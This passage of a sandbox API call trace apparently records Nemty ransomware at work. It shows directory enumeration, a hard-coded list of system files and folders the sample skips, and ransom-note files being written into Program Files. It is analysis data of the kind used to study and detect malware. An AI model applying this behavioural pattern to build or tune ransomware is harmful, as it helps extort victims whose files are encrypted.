[0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="programdata") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="appdata") returned 1 [0108.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0108.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0108.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0108.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0108.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0108.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0108.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0108.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x0) returned 10 [0108.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0108.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.874] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4877f70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4877f70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0108.874] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.875] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4877f70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4877f70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0108.875] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0108.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0108.875] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="...") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="windows") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="$RECYCLE.BIN") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="rsa") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="NTDETECT.COM") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntldr") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="MSDOS.SYS") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="IO.SYS") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot.ini") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot.ini") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="AUTOEXEC.BAT") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntuser.dat") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="desktop.ini") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="CONFIG.SYS") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="RECYCLER") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="BOOTSECT.BAK") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="bootmgr") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="programdata") returned 1 [0108.876] lstrcmpiW (lpString1="Windows Sidebar", lpString2="appdata") returned 1 [0108.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Sidebar", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0108.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Sidebar", cchWideChar=15, lpMultiByteStr=0x653f8d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Sidebar", lpUsedDefaultChar=0x0) returned 15 [0108.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Sidebar", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0108.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Sidebar", cchWideChar=15, lpMultiByteStr=0x653f8d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Sidebar", lpUsedDefaultChar=0x0) returned 15 [0108.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0108.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0108.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0108.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0108.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0108.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0108.877] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0108.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0108.878] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.878] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0108.879] CloseHandle (hObject=0x3c0) returned 1 [0108.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0108.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0108.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.880] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0108.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0108.881] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.881] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0108.881] CloseHandle (hObject=0x3c0) returned 1 [0108.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0108.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0108.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0108.882] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0108.882] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf489e0d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0108.882] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0108.882] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0108.882] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0108.882] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0108.883] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0108.883] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0108.883] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0108.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0108.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0108.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0108.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0108.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0108.883] HeapFree (in: 